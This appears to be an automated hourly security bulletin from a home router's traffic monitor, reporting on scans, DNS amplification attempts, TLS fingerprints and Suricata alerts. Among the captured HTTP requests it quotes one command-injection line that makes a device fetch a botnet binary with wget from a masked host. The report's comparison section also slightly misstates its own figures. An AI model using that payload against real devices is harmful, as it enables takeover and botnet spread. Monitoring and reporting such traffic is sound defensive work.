One hour on the Dojo’s WAN front, 07:00-08:01 on October 25, 2026, told minute by minute. The sniffer sits on the mirror, ahead of the firewall: it sees everything that knocks, including what will never get in.

An honest preamble. In this window the sniffer saw 1,794,432 packets reaching our public address. Most of it isn’t an attack: it’s the return traffic of normal browsing. The siege is the unsolicited slice, the part that knocks on the router and the firewall throws away — and here it is.

The play-by-play, minute by minute

07:01 — Window opens: 697 DNS hits dropped in one minute. The target is hbtbank.com, ANY queries. The machine holds steady: average CPU at 3,1%.

07:13 — Sudden spike: 240 hits. Followed by a wave of traffic reaching 256 at 07:14. No exploits detected by Suricata, only alerts for excessive handshakes.

07:30 — Second wave: 161 hits, then 255 at 07:31. The pattern repeats: short peaks, then a drop. Total DNS drops climbing toward 7.646.

07:53 — Last significant peak: 300 hits. At 08:00 the pace slows to 161. The session closes with 7.646 unsolicited DNS queries dropped and 1.278 other attempts blocked.

Seven days ago, at the same time, dropped DNS queries stood at 464.107.

TLS signatures show 10 distinct JA3 fingerprints from 6 sources; the most frequent was repeated 632 times, indicating a single tool hammering away.

JA4 signatures, more precise than JA3 as they distinguish TLS versions, record 9 distinct fingerprints from 6 sources, with a maximum of 340 repetitions for the same signature.

13 suspicious plaintext HTTP requests: the most frequent is «GET /» (12 times), with user-agent «Mozila/5.0» (1). IPs in the payloads are masked as [ip].

The shutter stayed down: with low CPU, nothing useful for the attacker got in or out.

Where they come from (with a pinch of salt)

Geolocation tells you where the address is registered, not where the person is: behind it there may be a VPN, an anonymizer, a rented server or someone else’s machine. And it has to be read per category.

  • DNS amplification — the “sources” (US 4,990, AE 2,200, CN 6, UA 1) are forged: they aren’t attacking, they’re the victims the attacker wants the replies rained on. Same as last Sunday, the Dojo would be used above all against US, more timid (4,990 against 225,115). BN drops out of the top, AE comes in.
  • Bandwidth test (port 2000) — 0 hits, from US 1.
  • SYN scans — real source: IT 644, NL 239, US 227, BG 129, GB 76.

The hour’s scoreboard

ItemValueNotes
Unsolicited DNS queries, dropped7,646target hbtbank.com, ANY queries
Other entry attempts, dropped1,278scans and random ports
Bandwidth test (port 2000), dropped0US 1
Invalid packets, dropped525out of state / malformed
Pings accepted823we let them through on purpose
WinBox 8291 / RouterOS API0management probes
Suricata203 alertsno intrusion
Average CPU3,1%peak 7%, memory flat

Suricata’s verdict

Suricata inspected the stream: 203 alerts, all of a single kind (“SURICATA STREAM 3way handshake excessive different SYNs”) — scan noise. No exploit, malware or intrusion signature: nothing hostile got in.

Compared to last Sunday

The report of Sunday, October 18 covered the same hour of siege. The volume grew: 1,794,432 packets against 1,727,165, with dropped DNS amplification queries going from 464,107 to 7,646 — less than a third. The CPU stays calm: 3,1% on average against 3% then, still trivial numbers. Suricata closes as it did then: no intrusion.

And the machine?

Average CPU 3,1% (never above 7%). Free memory from 1,574 to 1,575 MB. Active connections between 187 and 331. No queue, no alarm.

The scoreboard in charts

1,794,432packets seen on the mirror in an hour
9,449dropped by the firewall: none got in
697hits in the worst minute (about 12 per second)
203Suricata alarms
7%Maximum router CPU: the siege does not scratch it
Rejected hits, minute by minuteThe pace of the siege, minute by minute: it follows the same pattern as the map below.
20040060007:0007:1007:2007:3007:4007:5008:0007:01 · 697 hitspeak: 697 at 07:0107:02 · 201 hits07:03 · 67 hits07:04 · 73 hits07:05 · 33 hits07:06 · 80 hits07:07 · 24 hits07:08 · 37 hits07:09 · 43 hits07:10 · 67 hits07:11 · 61 hits07:12 · 64 hits07:13 · 240 hits07:14 · 256 hits07:15 · 159 hits07:16 · 247 hits07:17 · 225 hits07:18 · 131 hits07:19 · 131 hits07:20 · 114 hits07:21 · 155 hits07:22 · 50 hits07:23 · 27 hits07:24 · 33 hits07:25 · 18 hits07:26 · 4 hits07:28 · 19 hits07:29 · 39 hits07:30 · 161 hits07:31 · 255 hits07:32 · 158 hits07:33 · 204 hits07:34 · 212 hits07:35 · 190 hits07:36 · 210 hits07:37 · 223 hits07:38 · 159 hits07:39 · 188 hits07:40 · 178 hits07:41 · 115 hits07:42 · 65 hits07:43 · 20 hits07:44 · 34 hits07:45 · 14 hits07:46 · 21 hits07:47 · 31 hits07:48 · 27 hits07:49 · 24 hits07:50 · 31 hits07:51 · 36 hits07:52 · 198 hits07:53 · 300 hits07:54 · 140 hits07:55 · 224 hits07:56 · 213 hits07:57 · 200 hits07:58 · 156 hits07:59 · 203 hits08:00 · 161 hits
DNS amplification: the countries of the VICTIMSSpoofed source addresses: these countries are the targets they wanted to hit using the Dojo, not the attackers.
  • 🇺🇸 United States4,990 69%
  • 🇦🇪 United Arab Emirates2,200 31%
  • 🇨🇳 China6 0%
  • 🇺🇦 Ukraine1 0%

Main networks

  1. EMBNEX 🇺🇸4,532
  2. LLC VASH KREDIT BANK 🇺🇦2,200
  3. DigitalOcean 🇺🇸453
  4. Hangzhou Alibaba Advertising 🇨🇳6
  5. Alibaba (US) Technology 🇨🇳5
Bandwidth tests: where they come fromThe country from which the packet originates, not who is behind it: VPNs, rented servers, other people's machines.
  • 🇺🇸 United States1 100%

Main networks

  1. EMBNEX 🇺🇸1
Port scans: where they start fromThe country from which the packet originates, not who is behind it: VPNs, rented servers, other people's machines.
  • 🇮🇹 Italy644 45%
  • 🇳🇱 Netherlands239 17%
  • 🇺🇸 United States227 16%
  • 🇧🇬 Bulgaria129 9%
  • 🇬🇧 United Kingdom76 5%
  • 🇷🇺 Russia52 4%
  • 🇦🇪 United Arab Emirates22 2%
  • 🇨🇳 China18 1%
  • 🇫🇷 France14 1%
  • 🇩🇪 Germany13 1%

Main networks

  1. Aruba 🇮🇹326
  2. Telecom Italia 🇮🇹318
  3. Modat 🇳🇱222
  4. Hydra Communications 🇬🇧92
  5. MEVSPACE sp. z o.o 🇵🇱81
Who knows what they are looking for: the targeted doorsWho knocks on a single door, or a few, and insists: they want that service. The number tells you how many times they have knocked; hover over the name to see what they are looking for.
Scan · who tries every handleWho has touched at least 10 different doors in an hour, once each, to see which ones open: they are not looking for a specific service, they are taking inventory.
5scanners (grouped by country and network)
147ports tested

The ports that appear most frequently in scans

tcp/8792tcp/2562tcp/8299tcp/8873tcp/4340tcp/3519tcp/5059tcp/2660tcp/5728tcp/6225tcp/4504tcp/3983tcp/5775tcp/4810tcp/9168

Scanner signaturesWhen a program opens an encrypted (TLS) connection, it always introduces itself in the same way: the JA3 fingerprint summarizes that handshake. Same fingerprint from different addresses = same tool, often the same botnet.
10different fingerprints
6sources that identified themselves

Most common fingerprints

  • 9242269f32…632
  • 9812cdc989…1
  • 1ded1585cb…1
  • 08457f913b…1
  • 387fec6871…1
  • 51da711b7d…1
What they ask for in the clearUnencrypted HTTP requests received by the router, exactly as written by the scanners. Addresses are masked: [ip] and [host] stand in for the servers from which the worst actors would like us to download their software.
13plaintext HTTP requests

The requests

  1. GET /12
  2. POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm net.arm7; wget http://[ip]/bins/n…1

How they identify themselves (User-Agent)

  1. Mozila/5.01
  2. Mozilla/5.01
What the firewall didThe router rule counters during the bulletin hour.
  • Dropped DNS requests (amplification)7,646
  • Other dropped packets1,278
  • Accepted pings (responding to ping is intended)823
  • Invalid packets525
  • Rejected bandwidth tests0
  • Attempts on WinBox and API0

The report's hour, on the map.

The map loops the packets of the hour told above, rebuilt from the recorded totals: country of origin and category, no IP addresses. Right-now traffic is on the live map.

Watch the live map →